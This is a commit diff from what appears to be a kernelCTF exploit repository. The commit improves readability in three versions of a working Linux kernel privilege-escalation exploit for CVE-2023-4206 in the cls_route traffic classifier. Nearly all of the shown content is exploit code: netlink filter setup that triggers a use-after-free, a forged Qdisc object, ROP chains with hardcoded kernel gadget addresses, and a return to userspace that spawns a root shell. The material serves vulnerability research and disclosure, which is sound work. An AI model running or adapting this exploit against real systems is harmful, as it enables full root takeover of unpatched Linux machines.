Skip to content

Commit 4afe12f

Browse files
CVE-2023-4206_lts_cos_mitigation_2: Improve exploit readability as per review comments
1 parent 2a00fc0 commit 4afe12f

File tree

3 files changed

+36
-37
lines changed

3 files changed

+36
-37
lines changed

pocs/linux/kernelctf/CVE-2023-4206_lts_cos_mitigation_2/exploit/cos-101-17162.127.42/exploit.c

+10-11
Original file line numberDiff line numberDiff line change
@@ -171,11 +171,9 @@ static int g_pwned;
171171

172172
void __attribute__((naked)) after_pwn()
173173
{
174-
// Fix user stack and recover eflags since we didn't do it when returning from kernel mode
174+
// Fix user stack since we didn't do when returning from kernel mode
175175
asm volatile(
176176
"mov %0, %%rsp\n"
177-
"push $0x293\n"
178-
"popf"
179177
:: "r" (g_mmapped_buf + MMAP_SIZE - 0x100)
180178
);
181179

@@ -376,8 +374,6 @@ static void netlink_device_change(struct nlmsg* nlmsg, int sock,
376374
netlink_attr(nlmsg, IFLA_MASTER, &ifindex, sizeof(ifindex));
377375
}
378376

379-
unsigned int mtu = 0x001f0000L;
380-
netlink_attr(nlmsg, IFLA_MTU, &mtu, sizeof(mtu));
381377
if (macsize)
382378
netlink_attr(nlmsg, IFLA_ADDRESS, mac, macsize);
383379

@@ -529,10 +525,12 @@ void add_route_filter(uint32_t parent, uint32_t chain, uint32_t handle, uint32_t
529525
hdr.tcm_family = AF_UNSPEC;
530526
hdr.tcm_ifindex = 1;
531527
hdr.tcm_parent = parent;
532-
hdr.tcm_handle = handle | 0xffff0000;
533528

534-
// proto = ETH_P_ALL
535-
hdr.tcm_info = 0x300 | (prio << 16);
529+
// cls_route handles contain following parameters encoded in uint32_t: source realm, source interface and destination realm
530+
// This means we only filter by destination realm, any source will match:
531+
hdr.tcm_handle = (handle & 0xff) | (0xffff << 16);
532+
533+
hdr.tcm_info = TC_H_MAKE(prio << 16, htons(ETH_P_ALL));
536534

537535
netlink_init(&nlmsg, RTM_NEWTFILTER, flags, &hdr, sizeof(hdr));
538536

@@ -661,7 +659,8 @@ size_t prepare_rop2(uint64_t *rop2)
661659

662660
*rop2++ = kaddr(POP_R11_R10_R9_R8_RDI_RSI_RDX_RCX);
663661
// eflags
664-
*rop2++ = 0x293;
662+
*rop2++ = 0;
663+
665664
rop2 += 6;
666665

667666
// Userspace RIP
@@ -793,6 +792,8 @@ int main(int argc, char **argv)
793792

794793
delete_class(0x10001);
795794

795+
// @sleep(kernel_func="qdisc_free_cb",
796+
// desc="wait for RCU to trigger Qdisc object removal")
796797
sleep(1);
797798

798799
prepare_fake_qdisc(g_mmapped_buf);
@@ -804,8 +805,6 @@ int main(int argc, char **argv)
804805

805806
trigger_classify();
806807

807-
sleep(5);
808-
809808
if (!g_pwned) {
810809
printf("Failed to trigger vuln, try again!\n");
811810
_exit(0);

pocs/linux/kernelctf/CVE-2023-4206_lts_cos_mitigation_2/exploit/lts-6.1.36/exploit.c

+10-11
Original file line numberDiff line numberDiff line change
@@ -171,11 +171,9 @@ static int g_pwned;
171171

172172
void __attribute__((naked)) after_pwn()
173173
{
174-
// Fix user stack and recover eflags since we didn't do it when returning from kernel mode
174+
// Fix user stack since we didn't do when returning from kernel mode
175175
asm volatile(
176176
"mov %0, %%rsp\n"
177-
"push $0x293\n"
178-
"popf"
179177
:: "r" (g_mmapped_buf + MMAP_SIZE - 0x100)
180178
);
181179

@@ -376,8 +374,6 @@ static void netlink_device_change(struct nlmsg* nlmsg, int sock,
376374
netlink_attr(nlmsg, IFLA_MASTER, &ifindex, sizeof(ifindex));
377375
}
378376

379-
unsigned int mtu = 0x001f0000L;
380-
netlink_attr(nlmsg, IFLA_MTU, &mtu, sizeof(mtu));
381377
if (macsize)
382378
netlink_attr(nlmsg, IFLA_ADDRESS, mac, macsize);
383379

@@ -529,10 +525,12 @@ void add_route_filter(uint32_t parent, uint32_t chain, uint32_t handle, uint32_t
529525
hdr.tcm_family = AF_UNSPEC;
530526
hdr.tcm_ifindex = 1;
531527
hdr.tcm_parent = parent;
532-
hdr.tcm_handle = handle | 0xffff0000;
533528

534-
// proto = ETH_P_ALL
535-
hdr.tcm_info = 0x300 | (prio << 16);
529+
// cls_route handles contain following parameters encoded in uint32_t: source realm, source interface and destination realm
530+
// This means we only filter by destination realm, any source will match:
531+
hdr.tcm_handle = (handle & 0xff) | (0xffff << 16);
532+
533+
hdr.tcm_info = TC_H_MAKE(prio << 16, htons(ETH_P_ALL));
536534

537535
netlink_init(&nlmsg, RTM_NEWTFILTER, flags, &hdr, sizeof(hdr));
538536

@@ -661,7 +659,8 @@ size_t prepare_rop2(uint64_t *rop2)
661659

662660
*rop2++ = kaddr(POP_R11_R10_R9_R8_RDI_RSI_RDX_RCX);
663661
// eflags
664-
*rop2++ = 0x293;
662+
*rop2++ = 0;
663+
665664
rop2 += 6;
666665

667666
// Userspace RIP
@@ -793,6 +792,8 @@ int main(int argc, char **argv)
793792

794793
delete_class(0x10001);
795794

795+
// @sleep(kernel_func="qdisc_free_cb",
796+
// desc="wait for RCU to trigger Qdisc object removal")
796797
sleep(1);
797798

798799
prepare_fake_qdisc(g_mmapped_buf);
@@ -804,8 +805,6 @@ int main(int argc, char **argv)
804805

805806
trigger_classify();
806807

807-
sleep(5);
808-
809808
if (!g_pwned) {
810809
printf("Failed to trigger vuln, try again!\n");
811810
_exit(0);

pocs/linux/kernelctf/CVE-2023-4206_lts_cos_mitigation_2/exploit/mitigation-6.1/exploit.c

+16-15
Original file line numberDiff line numberDiff line change
@@ -166,16 +166,15 @@ static char *g_sh_argv[] = {"sh", NULL};
166166
static int g_status;
167167

168168
#define MMAP_SIZE 0x8000
169+
#define XATTR_HEAD_SIZE 0x20
169170

170171
static int g_pwned;
171172

172173
void __attribute__((naked)) after_pwn()
173174
{
174-
// Fix user stack and recover eflags since we didn't do it when returning from kernel mode
175+
// Fix user stack since we didn't do when returning from kernel mode
175176
asm volatile(
176177
"mov %0, %%rsp\n"
177-
"push $0x293\n"
178-
"popf"
179178
:: "r" (g_mmapped_buf + MMAP_SIZE - 0x100)
180179
);
181180

@@ -377,8 +376,6 @@ static void netlink_device_change(struct nlmsg* nlmsg, int sock,
377376
netlink_attr(nlmsg, IFLA_MASTER, &ifindex, sizeof(ifindex));
378377
}
379378

380-
unsigned int mtu = 0x001f0000L;
381-
netlink_attr(nlmsg, IFLA_MTU, &mtu, sizeof(mtu));
382379
if (macsize)
383380
netlink_attr(nlmsg, IFLA_ADDRESS, mac, macsize);
384381

@@ -393,8 +390,8 @@ static void setup_network(char *link_name)
393390

394391
netlink_device_change(&nlmsg, sock, "lo", true, 0, NULL, 0, link_name);
395392

396-
397393
close(sock);
394+
398395
g_nl_sock = nl_cli_alloc_socket();
399396
nl_cli_connect(g_nl_sock, NETLINK_ROUTE);
400397
g_link_cache = nl_cli_link_alloc_cache(g_nl_sock);
@@ -575,10 +572,12 @@ void add_route_filter(uint32_t parent, uint32_t chain, uint32_t handle, uint32_t
575572
hdr.tcm_family = AF_UNSPEC;
576573
hdr.tcm_ifindex = 1;
577574
hdr.tcm_parent = parent;
578-
hdr.tcm_handle = handle | 0xffff0000;
579575

580-
// proto = ETH_P_ALL
581-
hdr.tcm_info = 0x300 | (prio << 16);
576+
// cls_route handles contain following parameters encoded in uint32_t: source realm, source interface and destination realm
577+
// This means we only filter by destination realm, any source will match:
578+
hdr.tcm_handle = (handle & 0xff) | (0xffff << 16);
579+
580+
hdr.tcm_info = TC_H_MAKE(prio << 16, htons(ETH_P_ALL));
582581

583582
netlink_init(&nlmsg, RTM_NEWTFILTER, flags, &hdr, sizeof(hdr));
584583

@@ -793,7 +792,7 @@ void *trigger_classify()
793792

794793
int alloc_xattr3(int fd, char *attr, size_t size, void *buf)
795794
{
796-
int res = fsetxattr(fd, attr, buf, size - 32, XATTR_CREATE);
795+
int res = fsetxattr(fd, attr, buf, size - XATTR_HEAD_SIZE, XATTR_CREATE);
797796
if (res < 0) {
798797
err(1, "fsetxattr");
799798
}
@@ -859,7 +858,7 @@ size_t prepare_rop2(char *buf)
859858

860859
*rop2++ = pop_r11_6_rcx;
861860
// eflags
862-
*rop2++ = 0x293;
861+
*rop2++ = 0;
863862
rop2 += 6;
864863

865864
// Userspace RIP
@@ -872,7 +871,8 @@ size_t prepare_rop2(char *buf)
872871
void prepare_fake_qdisc(char *buf)
873872
{
874873
uint64_t ret = kaddr(0xffffffff810d502d);
875-
uint64_t rw_buffer = kaddr(0xffffffff83675360);
874+
// Any unused and writable page of memory will do
875+
uint64_t rw_buffer = kaddr(0xffffffff84700000);
876876
uint64_t pop_rsi_rdx_rcx = kaddr(0xffffffff810289ce);
877877
uint64_t copy_from_user = kaddr(0xffffffff81fd4820);
878878

@@ -888,11 +888,12 @@ void prepare_fake_qdisc(char *buf)
888888
// 0xffffffff81d5747e: push r14 ; jmp qword [rsi+0x66]
889889
uint64_t g2 = kaddr(0xffffffff81d5747e);
890890
uint64_t pop_rsp = kaddr(0xffffffff81404820);
891-
uint64_t pop_7 = kaddr(0xffffffff810289a5);
891+
uint64_t pop_r10_r9_r8_rdi_rsi_rdx_rcx = kaddr(0xffffffff810289a5);
892892
uint64_t pop_rdi_rsi_rdx_rcx = kaddr(0xffffffff8106fb3b);
893893

894894
*(uint64_t *) (buf) = g1;
895-
// stab
895+
896+
// stab pointer (struct qdisc_size_table *stab) has to be null or __qdisc_calculate_pkt_len() (called from qdisc_calculate_pkt_len/__dev_xmit_skb) will crash trying to use it before enqueuing the packet
896897
*(uint64_t *) (buf + 0x20) = 0;
897898

898899
*(uint64_t *) (buf + 0x28) = g2;
@@ -906,7 +907,7 @@ void prepare_fake_qdisc(char *buf)
906907
size_t rop2_len = prepare_rop2(rop2);
907908

908909
// jump over 0x66
909-
*rop++ = pop_7;
910+
*rop++ = pop_r10_r9_r8_rdi_rsi_rdx_rcx;
910911
rop += 7;
911912

912913
*rop++ = pop_rdi_rsi_rdx_rcx;

0 commit comments

Comments
 (0)